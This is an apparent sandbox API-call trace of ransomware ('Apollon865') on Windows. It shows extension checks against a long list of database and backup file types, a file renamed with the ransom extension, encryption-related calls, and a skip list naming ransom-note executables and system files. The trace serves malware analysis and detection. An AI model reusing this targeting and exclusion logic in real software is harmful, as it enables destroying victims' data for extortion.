	[0055.740] lstrcmpiW (lpString1=".log", lpString2="dtsx") returned -1
	[0055.740] lstrlenW (lpString="dxl") returned 3
	[0055.740] lstrcmpiW (lpString1="log", lpString2="dxl") returned 1
	[0055.740] lstrlenW (lpString="eco") returned 3
	[0055.740] lstrcmpiW (lpString1="log", lpString2="eco") returned 1
	[0055.740] lstrlenW (lpString="ecx") returned 3
	[0055.740] lstrcmpiW (lpString1="log", lpString2="ecx") returned 1
	[0055.740] lstrlenW (lpString="edb") returned 3
	[0055.740] lstrcmpiW (lpString1="log", lpString2="edb") returned 1
	[0055.740] lstrlenW (lpString="epim") returned 4
	[0055.740] lstrcmpiW (lpString1=".log", lpString2="epim") returned -1
	[0055.740] lstrlenW (lpString="fcd") returned 3
	[0055.740] lstrcmpiW (lpString1="log", lpString2="fcd") returned 1
	[0055.740] lstrlenW (lpString="fdb") returned 3
	[0055.741] lstrcmpiW (lpString1="log", lpString2="fdb") returned 1
	[0055.741] lstrlenW (lpString="fic") returned 3
	[0055.741] lstrcmpiW (lpString1="log", lpString2="fic") returned 1
	[0055.741] lstrlenW (lpString="flexolibrary") returned 12
	[0055.741] lstrlenW (lpString="fm5") returned 3
	[0055.741] lstrcmpiW (lpString1="log", lpString2="fm5") returned 1
	[0055.741] lstrlenW (lpString="fmp") returned 3
	[0055.741] lstrcmpiW (lpString1="log", lpString2="fmp") returned 1
	[0055.741] lstrlenW (lpString="fmp12") returned 5
	[0055.741] lstrcmpiW (lpString1="1.log", lpString2="fmp12") returned -1
	[0055.741] lstrlenW (lpString="fmpsl") returned 5
	[0055.741] lstrcmpiW (lpString1="1.log", lpString2="fmpsl") returned -1
	[0055.741] lstrlenW (lpString="fol") returned 3
	[0055.741] lstrcmpiW (lpString1="log", lpString2="fol") returned 1
	[0055.741] lstrlenW (lpString="fp3") returned 3
	[0055.741] lstrcmpiW (lpString1="log", lpString2="fp3") returned 1
	[0055.741] lstrlenW (lpString="fp4") returned 3
	[0055.741] lstrcmpiW (lpString1="log", lpString2="fp4") returned 1
	[0055.741] lstrlenW (lpString="fp5") returned 3
	[0055.741] lstrcmpiW (lpString1="log", lpString2="fp5") returned 1
	[0055.741] lstrlenW (lpString="fp7") returned 3
	[0055.741] lstrcmpiW (lpString1="log", lpString2="fp7") returned 1
	[0055.741] lstrlenW (lpString="fpt") returned 3
	[0055.741] lstrcmpiW (lpString1="log", lpString2="fpt") returned 1
	[0055.741] lstrlenW (lpString="frm") returned 3
	[0055.741] lstrcmpiW (lpString1="log", lpString2="frm") returned 1
	[0055.741] lstrlenW (lpString="gdb") returned 3
	[0055.741] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1
	[0055.741] lstrlenW (lpString="gdb") returned 3
	[0055.741] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1
	[0055.741] lstrlenW (lpString="grdb") returned 4
	[0055.741] lstrcmpiW (lpString1=".log", lpString2="grdb") returned -1
	[0055.741] lstrlenW (lpString="gwi") returned 3
	[0055.742] lstrcmpiW (lpString1="log", lpString2="gwi") returned 1
	[0055.742] lstrlenW (lpString="hdb") returned 3
	[0055.742] lstrcmpiW (lpString1="log", lpString2="hdb") returned 1
	[0055.742] lstrlenW (lpString="his") returned 3
	[0055.742] lstrcmpiW (lpString1="log", lpString2="his") returned 1
	[0055.742] lstrlenW (lpString="ib") returned 2
	[0055.742] lstrcmpiW (lpString1="og", lpString2="ib") returned 1
	[0055.742] lstrlenW (lpString="idb") returned 3
	[0055.742] lstrcmpiW (lpString1="log", lpString2="idb") returned 1
	[0055.742] lstrlenW (lpString="ihx") returned 3
	[0055.742] lstrcmpiW (lpString1="log", lpString2="ihx") returned 1
	[0055.742] lstrlenW (lpString="itdb") returned 4
	[0055.742] lstrcmpiW (lpString1=".log", lpString2="itdb") returned -1
	[0055.742] lstrlenW (lpString="itw") returned 3
	[0055.742] lstrcmpiW (lpString1="log", lpString2="itw") returned 1
	[0055.742] lstrlenW (lpString="jet") returned 3
	[0055.742] lstrcmpiW (lpString1="log", lpString2="jet") returned 1
	[0055.742] lstrlenW (lpString="jtx") returned 3
	[0055.742] lstrcmpiW (lpString1="log", lpString2="jtx") returned 1
	[0055.742] lstrlenW (lpString="kdb") returned 3
	[0055.742] lstrcmpiW (lpString1="log", lpString2="kdb") returned 1
	[0055.742] lstrlenW (lpString="kexi") returned 4
	[0055.742] lstrcmpiW (lpString1=".log", lpString2="kexi") returned -1
	[0055.742] lstrlenW (lpString="kexic") returned 5
	[0055.742] lstrcmpiW (lpString1="1.log", lpString2="kexic") returned -1
	[0055.742] lstrlenW (lpString="kexis") returned 5
	[0055.742] lstrcmpiW (lpString1="1.log", lpString2="kexis") returned -1
	[0055.742] lstrlenW (lpString="lgc") returned 3
	[0055.742] lstrcmpiW (lpString1="log", lpString2="lgc") returned 1
	[0055.742] lstrlenW (lpString="lwx") returned 3
	[0055.742] lstrcmpiW (lpString1="log", lpString2="lwx") returned -1
	[0055.742] lstrlenW (lpString="maf") returned 3
	[0055.742] lstrcmpiW (lpString1="log", lpString2="maf") returned -1
	[0055.742] lstrlenW (lpString="maq") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="maq") returned -1
	[0055.743] lstrlenW (lpString="mar") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="mar") returned -1
	[0055.743] lstrlenW (lpString="marshal") returned 7
	[0055.743] lstrcmpiW (lpString1="001.log", lpString2="marshal") returned -1
	[0055.743] lstrlenW (lpString="mas") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="mas") returned -1
	[0055.743] lstrlenW (lpString="mav") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="mav") returned -1
	[0055.743] lstrlenW (lpString="maw") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="maw") returned -1
	[0055.743] lstrlenW (lpString="mdbhtml") returned 7
	[0055.743] lstrcmpiW (lpString1="001.log", lpString2="mdbhtml") returned -1
	[0055.743] lstrlenW (lpString="mdn") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="mdn") returned -1
	[0055.743] lstrlenW (lpString="mdt") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="mdt") returned -1
	[0055.743] lstrlenW (lpString="mfd") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="mfd") returned -1
	[0055.743] lstrlenW (lpString="mpd") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="mpd") returned -1
	[0055.743] lstrlenW (lpString="mrg") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="mrg") returned -1
	[0055.743] lstrlenW (lpString="mud") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="mud") returned -1
	[0055.743] lstrlenW (lpString="mwb") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="mwb") returned -1
	[0055.743] lstrlenW (lpString="myd") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="myd") returned -1
	[0055.743] lstrlenW (lpString="ndf") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="ndf") returned -1
	[0055.743] lstrlenW (lpString="nnt") returned 3
	[0055.743] lstrcmpiW (lpString1="log", lpString2="nnt") returned -1
	[0055.743] lstrlenW (lpString="nrmlib") returned 6
	[0055.743] lstrcmpiW (lpString1="01.log", lpString2="nrmlib") returned -1
	[0055.744] lstrlenW (lpString="ns2") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="ns2") returned -1
	[0055.744] lstrlenW (lpString="ns3") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="ns3") returned -1
	[0055.744] lstrlenW (lpString="ns4") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="ns4") returned -1
	[0055.744] lstrlenW (lpString="nsf") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="nsf") returned -1
	[0055.744] lstrlenW (lpString="nv") returned 2
	[0055.744] lstrcmpiW (lpString1="og", lpString2="nv") returned 1
	[0055.744] lstrlenW (lpString="nv2") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="nv2") returned -1
	[0055.744] lstrlenW (lpString="nwdb") returned 4
	[0055.744] lstrcmpiW (lpString1=".log", lpString2="nwdb") returned -1
	[0055.744] lstrlenW (lpString="nyf") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="nyf") returned -1
	[0055.744] lstrlenW (lpString="odb") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="odb") returned -1
	[0055.744] lstrlenW (lpString="odb") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="odb") returned -1
	[0055.744] lstrlenW (lpString="oqy") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="oqy") returned -1
	[0055.744] lstrlenW (lpString="ora") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="ora") returned -1
	[0055.744] lstrlenW (lpString="orx") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="orx") returned -1
	[0055.744] lstrlenW (lpString="owc") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="owc") returned -1
	[0055.744] lstrlenW (lpString="p96") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="p96") returned -1
	[0055.744] lstrlenW (lpString="p97") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="p97") returned -1
	[0055.744] lstrlenW (lpString="pan") returned 3
	[0055.744] lstrcmpiW (lpString1="log", lpString2="pan") returned -1
	[0055.745] lstrlenW (lpString="pdb") returned 3
	[0055.745] lstrcmpiW (lpString1="log", lpString2="pdb") returned -1
	[0055.745] lstrlenW (lpString="pdm") returned 3
	[0055.745] lstrcmpiW (lpString1="log", lpString2="pdm") returned -1
	[0055.745] lstrlenW (lpString="pnz") returned 3
	[0055.745] lstrcmpiW (lpString1="log", lpString2="pnz") returned -1
	[0055.745] lstrlenW (lpString="qry") returned 3
	[0055.745] lstrcmpiW (lpString1="log", lpString2="qry") returned -1
	[0055.745] lstrlenW (lpString="qvd") returned 3
	[0055.745] lstrcmpiW (lpString1="log", lpString2="qvd") returned -1
	[0055.745] lstrlenW (lpString="rbf") returned 3
	[0055.745] lstrcmpiW (lpString1="log", lpString2="rbf") returned -1
	[0055.745] lstrlenW (lpString="rctd") returned 4
	[0055.745] lstrcmpiW (lpString1=".log", lpString2="rctd") returned -1
	[0055.745] lstrlenW (lpString="rod") returned 3
	[0055.745] lstrcmpiW (lpString1="log", lpString2="rod") returned -1
	[0055.745] lstrlenW (lpString="rodx") returned 4
	[0055.745] lstrcmpiW (lpString1=".log", lpString2="rodx") returned -1
	[0055.745] lstrlenW (lpString="rpd") returned 3
	[0055.745] lstrcmpiW (lpString1="log", lpString2="rpd") returned -1
	[0055.745] lstrlenW (lpString="rsd") returned 3
	[0055.745] lstrcmpiW (lpString1="log", lpString2="rsd") returned -1
	[0055.745] lstrlenW (lpString="sas7bdat") returned 8
	[0055.745] lstrcmpiW (lpString1="0001.log", lpString2="sas7bdat") returned -1
	[0055.745] lstrlenW (lpString="sbf") returned 3
	[0055.745] lstrcmpiW (lpString1="log", lpString2="sbf") returned -1
	[0055.745] lstrlenW (lpString="scx") returned 3
	[0055.745] lstrcmpiW (lpString1="log", lpString2="scx") returned -1
	[0055.745] lstrlenW (lpString="sdb") returned 3
	[0055.745] lstrcmpiW (lpString1="log", lpString2="sdb") returned -1
	[0055.745] lstrlenW (lpString="sdc") returned 3
	[0055.745] lstrcmpiW (lpString1="log", lpString2="sdc") returned -1
	[0055.745] lstrlenW (lpString="sdf") returned 3
	[0055.745] lstrcmpiW (lpString1="log", lpString2="sdf") returned -1
	[0055.746] lstrlenW (lpString="sis") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="sis") returned -1
	[0055.746] lstrlenW (lpString="spq") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="spq") returned -1
	[0055.746] lstrlenW (lpString="te") returned 2
	[0055.746] lstrcmpiW (lpString1="og", lpString2="te") returned -1
	[0055.746] lstrlenW (lpString="teacher") returned 7
	[0055.746] lstrcmpiW (lpString1="001.log", lpString2="teacher") returned -1
	[0055.746] lstrlenW (lpString="tmd") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="tmd") returned -1
	[0055.746] lstrlenW (lpString="tps") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="tps") returned -1
	[0055.746] lstrlenW (lpString="trc") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="trc") returned -1
	[0055.746] lstrlenW (lpString="trc") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="trc") returned -1
	[0055.746] lstrlenW (lpString="trm") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="trm") returned -1
	[0055.746] lstrlenW (lpString="udb") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="udb") returned -1
	[0055.746] lstrlenW (lpString="udl") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="udl") returned -1
	[0055.746] lstrlenW (lpString="usr") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="usr") returned -1
	[0055.746] lstrlenW (lpString="v12") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="v12") returned -1
	[0055.746] lstrlenW (lpString="vis") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="vis") returned -1
	[0055.746] lstrlenW (lpString="vpd") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="vpd") returned -1
	[0055.746] lstrlenW (lpString="vvv") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="vvv") returned -1
	[0055.746] lstrlenW (lpString="wdb") returned 3
	[0055.746] lstrcmpiW (lpString1="log", lpString2="wdb") returned -1
	[0055.746] lstrlenW (lpString="wmdb") returned 4
	[0055.747] lstrcmpiW (lpString1=".log", lpString2="wmdb") returned -1
	[0055.747] lstrlenW (lpString="wrk") returned 3
	[0055.747] lstrcmpiW (lpString1="log", lpString2="wrk") returned -1
	[0055.747] lstrlenW (lpString="xdb") returned 3
	[0055.747] lstrcmpiW (lpString1="log", lpString2="xdb") returned -1
	[0055.747] lstrlenW (lpString="xld") returned 3
	[0055.747] lstrcmpiW (lpString1="log", lpString2="xld") returned -1
	[0055.747] lstrlenW (lpString="xmlff") returned 5
	[0055.747] lstrcmpiW (lpString1="1.log", lpString2="xmlff") returned -1
	[0055.747] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.Apollon865") returned 77
	[0055.747] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log.apollon865"), dwFlags=0x1) returned 1
	[0055.748] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0055.748] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=2097152) returned 1
	[0055.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0055.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0055.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0055.748] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0055.749] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0055.749] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0055.749] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x200300, lpName=0x0) returned 0x118
	[0055.752] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x300) returned 0x100000
	[0055.752] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3270000
	[0056.580] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0056.581] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0056.581] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0056.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aec0
	[0056.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aec0 | out: hHeap=0x580000) returned 1
	[0056.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0056.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0056.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0056.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0056.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0056.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0056.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0056.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0056.581] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0056.587] CloseHandle (hObject=0x118) returned 1
	[0056.587] CloseHandle (hObject=0x150) returned 1
	[0056.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0056.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0056.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0056.596] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2027392, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1
	[0056.596] lstrcmpiW (lpString1="edbres00001.jrs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.596] lstrcmpiW (lpString1="edbres00001.jrs", lpString2="Apollon865.txt.exe") returned 1
	[0056.596] lstrcmpiW (lpString1="edbres00001.jrs", lpString2=".") returned 1
	[0056.596] lstrcmpiW (lpString1="edbres00001.jrs", lpString2="..") returned 1
	[0056.596] lstrcmpiW (lpString1="edbres00001.jrs", lpString2="windows") returned -1
	[0056.596] lstrcmpiW (lpString1="edbres00001.jrs", lpString2="bootmgr") returned 1
	[0056.596] lstrcmpiW (lpString1="edbres00001.jrs", lpString2="temp") returned -1
	[0056.596] lstrcmpiW (lpString1="edbres00001.jrs", lpString2="pagefile.sys") returned -1
	[0056.596] lstrcmpiW (lpString1="edbres00001.jrs", lpString2="boot") returned 1
	[0056.596] lstrcmpiW (lpString1="edbres00001.jrs", lpString2="ids.txt") returned -1
	[0056.596] lstrcmpiW (lpString1="edbres00001.jrs", lpString2="ntuser.dat") returned -1
	[0056.596] lstrcmpiW (lpString1="edbres00001.jrs", lpString2="perflogs") returned -1
	[0056.597] lstrcmpiW (lpString1="edbres00001.jrs", lpString2="MSBuild") returned -1
	[0056.597] lstrlenW (lpString="edbres00001.jrs") returned 15
	[0056.597] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log") returned 66
	[0056.597] lstrcpyW (in: lpString1=0x119e674, lpString2="edbres00001.jrs" | out: lpString1="edbres00001.jrs") returned="edbres00001.jrs"
	[0056.597] lstrlenW (lpString="edbres00001.jrs") returned 15
	[0056.597] lstrlenW (lpString="Apollon865") returned 10
	[0056.597] lstrcmpiW (lpString1="s00001.jrs", lpString2="Apollon865") returned 1
	[0056.597] lstrlenW (lpString=".dll") returned 4
	[0056.597] lstrcmpiW (lpString1="edbres00001.jrs", lpString2=".dll") returned 1
	[0056.597] lstrlenW (lpString=".lnk") returned 4
	[0056.597] lstrcmpiW (lpString1="edbres00001.jrs", lpString2=".lnk") returned 1
	[0056.597] lstrlenW (lpString=".ini") returned 4
	[0056.597] lstrcmpiW (lpString1="edbres00001.jrs", lpString2=".ini") returned 1
	[0056.597] lstrlenW (lpString=".sys") returned 4
	[0056.597] lstrcmpiW (lpString1="edbres00001.jrs", lpString2=".sys") returned 1
	[0056.597] lstrlenW (lpString="edbres00001.jrs") returned 15
	[0056.597] lstrlenW (lpString="bak") returned 3
	[0056.597] lstrcmpiW (lpString1="jrs", lpString2="bak") returned 1
	[0056.597] lstrlenW (lpString="ba_") returned 3
	[0056.597] lstrcmpiW (lpString1="jrs", lpString2="ba_") returned 1
	[0056.597] lstrlenW (lpString="dbb") returned 3
	[0056.597] lstrcmpiW (lpString1="jrs", lpString2="dbb") returned 1
	[0056.597] lstrlenW (lpString="vmdk") returned 4
	[0056.597] lstrcmpiW (lpString1=".jrs", lpString2="vmdk") returned -1
	[0056.597] lstrlenW (lpString="rar") returned 3
	[0056.597] lstrcmpiW (lpString1="jrs", lpString2="rar") returned -1
	[0056.597] lstrlenW (lpString="zip") returned 3
	[0056.597] lstrcmpiW (lpString1="jrs", lpString2="zip") returned -1
	[0056.597] lstrlenW (lpString="tgz") returned 3
	[0056.597] lstrcmpiW (lpString1="jrs", lpString2="tgz") returned -1
	[0056.597] lstrlenW (lpString="vbox") returned 4
	[0056.597] lstrcmpiW (lpString1=".jrs", lpString2="vbox") returned -1
	[0056.597] lstrlenW (lpString="vdi") returned 3
	[0056.598] lstrcmpiW (lpString1="jrs", lpString2="vdi") returned -1
	[0056.598] lstrlenW (lpString="vhd") returned 3
	[0056.598] lstrcmpiW (lpString1="jrs", lpString2="vhd") returned -1
	[0056.598] lstrlenW (lpString="vhdx") returned 4
	[0056.598] lstrcmpiW (lpString1=".jrs", lpString2="vhdx") returned -1
	[0056.598] lstrlenW (lpString="avhd") returned 4
	[0056.598] lstrcmpiW (lpString1=".jrs", lpString2="avhd") returned -1
	[0056.598] lstrlenW (lpString="db") returned 2
	[0056.598] lstrcmpiW (lpString1="rs", lpString2="db") returned 1
	[0056.598] lstrlenW (lpString="db2") returned 3
	[0056.598] lstrcmpiW (lpString1="jrs", lpString2="db2") returned 1
	[0056.598] lstrlenW (lpString="db3") returned 3
	[0056.598] lstrcmpiW (lpString1="jrs", lpString2="db3") returned 1
	[0056.598] lstrlenW (lpString="dbf") returned 3
	[0056.598] lstrcmpiW (lpString1="jrs", lpString2="dbf") returned 1
	[0056.598] lstrlenW (lpString="mdf") returned 3
	[0056.598] lstrcmpiW (lpString1="jrs", lpString2="mdf") returned -1
	[0056.598] lstrlenW (lpString="mdb") returned 3
	[0056.598] lstrcmpiW (lpString1="jrs", lpString2="mdb") returned -1
	[0056.598] lstrlenW (lpString="sql") returned 3
	[0056.598] lstrcmpiW (lpString1="jrs", lpString2="sql") returned -1
	[0056.598] lstrlenW (lpString="sqlite") returned 6
	[0056.598] lstrcmpiW (lpString1="01.jrs", lpString2="sqlite") returned -1
	[0056.598] lstrlenW (lpString="sqlite3") returned 7
	[0056.598] lstrcmpiW (lpString1="001.jrs", lpString2="sqlite3") returned -1
	[0056.598] lstrlenW (lpString="sqlitedb") returned 8
	[0056.598] lstrcmpiW (lpString1="0001.jrs", lpString2="sqlitedb") returned -1
	[0056.598] lstrlenW (lpString="xml") returned 3
	[0056.598] lstrcmpiW (lpString1="jrs", lpString2="xml") returned -1
	[0056.598] lstrlenW (lpString="$er") returned 3
	[0056.598] lstrcmpiW (lpString1="jrs", lpString2="$er") returned 1
	[0056.598] lstrlenW (lpString="4dd") returned 3
	[0056.598] lstrcmpiW (lpString1="jrs", lpString2="4dd") returned 1
	[0056.598] lstrlenW (lpString="4dl") returned 3
	[0056.599] lstrcmpiW (lpString1="jrs", lpString2="4dl") returned 1
	[0056.599] lstrlenW (lpString="^^^") returned 3
	[0056.599] lstrcmpiW (lpString1="jrs", lpString2="^^^") returned 1
	[0056.599] lstrlenW (lpString="abs") returned 3
	[0056.599] lstrcmpiW (lpString1="jrs", lpString2="abs") returned 1
	[0056.599] lstrlenW (lpString="abx") returned 3
	[0056.599] lstrcmpiW (lpString1="jrs", lpString2="abx") returned 1
	[0056.599] lstrlenW (lpString="accdb") returned 5
	[0056.599] lstrcmpiW (lpString1="1.jrs", lpString2="accdb") returned -1
	[0056.599] lstrlenW (lpString="accdc") returned 5
	[0056.599] lstrcmpiW (lpString1="1.jrs", lpString2="accdc") returned -1
	[0056.599] lstrlenW (lpString="accde") returned 5
	[0056.599] lstrcmpiW (lpString1="1.jrs", lpString2="accde") returned -1
	[0056.599] lstrlenW (lpString="accdr") returned 5
	[0056.599] lstrcmpiW (lpString1="1.jrs", lpString2="accdr") returned -1
	[0056.599] lstrlenW (lpString="accdt") returned 5
	[0056.599] lstrcmpiW (lpString1="1.jrs", lpString2="accdt") returned -1
	[0056.599] lstrlenW (lpString="accdw") returned 5
	[0056.599] lstrcmpiW (lpString1="1.jrs", lpString2="accdw") returned -1
	[0056.599] lstrlenW (lpString="accft") returned 5
	[0056.599] lstrcmpiW (lpString1="1.jrs", lpString2="accft") returned -1
	[0056.599] lstrlenW (lpString="adb") returned 3
	[0056.599] lstrcmpiW (lpString1="jrs", lpString2="adb") returned 1
	[0056.599] lstrlenW (lpString="adb") returned 3
	[0056.599] lstrcmpiW (lpString1="jrs", lpString2="adb") returned 1
	[0056.599] lstrlenW (lpString="ade") returned 3
	[0056.599] lstrcmpiW (lpString1="jrs", lpString2="ade") returned 1
	[0056.599] lstrlenW (lpString="adf") returned 3
	[0056.599] lstrcmpiW (lpString1="jrs", lpString2="adf") returned 1
	[0056.599] lstrlenW (lpString="adn") returned 3
	[0056.599] lstrcmpiW (lpString1="jrs", lpString2="adn") returned 1
	[0056.599] lstrlenW (lpString="adp") returned 3
	[0056.599] lstrcmpiW (lpString1="jrs", lpString2="adp") returned 1
	[0056.599] lstrlenW (lpString="alf") returned 3
	[0056.599] lstrcmpiW (lpString1="jrs", lpString2="alf") returned 1
	[0056.599] lstrlenW (lpString="ask") returned 3
	[0056.600] lstrcmpiW (lpString1="jrs", lpString2="ask") returned 1
	[0056.600] lstrlenW (lpString="btr") returned 3
	[0056.600] lstrcmpiW (lpString1="jrs", lpString2="btr") returned 1
	[0056.600] lstrlenW (lpString="cat") returned 3
	[0056.600] lstrcmpiW (lpString1="jrs", lpString2="cat") returned 1
	[0056.600] lstrlenW (lpString="cdb") returned 3
	[0056.600] lstrcmpiW (lpString1="jrs", lpString2="cdb") returned 1
	[0056.600] lstrlenW (lpString="ckp") returned 3
	[0056.600] lstrcmpiW (lpString1="jrs", lpString2="ckp") returned 1
	[0056.600] lstrlenW (lpString="cma") returned 3
	[0056.600] lstrcmpiW (lpString1="jrs", lpString2="cma") returned 1
	[0056.600] lstrlenW (lpString="cpd") returned 3
	[0056.600] lstrcmpiW (lpString1="jrs", lpString2="cpd") returned 1
	[0056.600] lstrlenW (lpString="dacpac") returned 6
	[0056.600] lstrcmpiW (lpString1="01.jrs", lpString2="dacpac") returned -1
	[0056.600] lstrlenW (lpString="dad") returned 3
	[0056.600] lstrcmpiW (lpString1="jrs", lpString2="dad") returned 1
	[0056.600] lstrlenW (lpString="dadiagrams") returned 10
	[0056.600] lstrcmpiW (lpString1="s00001.jrs", lpString2="dadiagrams") returned 1
	[0056.600] lstrlenW (lpString="daschema") returned 8
	[0056.600] lstrcmpiW (lpString1="0001.jrs", lpString2="daschema") returned -1
	[0056.600] lstrlenW (lpString="db-journal") returned 10
	[0056.600] lstrcmpiW (lpString1="s00001.jrs", lpString2="db-journal") returned 1
	[0056.600] lstrlenW (lpString="db-shm") returned 6
	[0056.600] lstrcmpiW (lpString1="01.jrs", lpString2="db-shm") returned -1
	[0056.600] lstrlenW (lpString="db-wal") returned 6
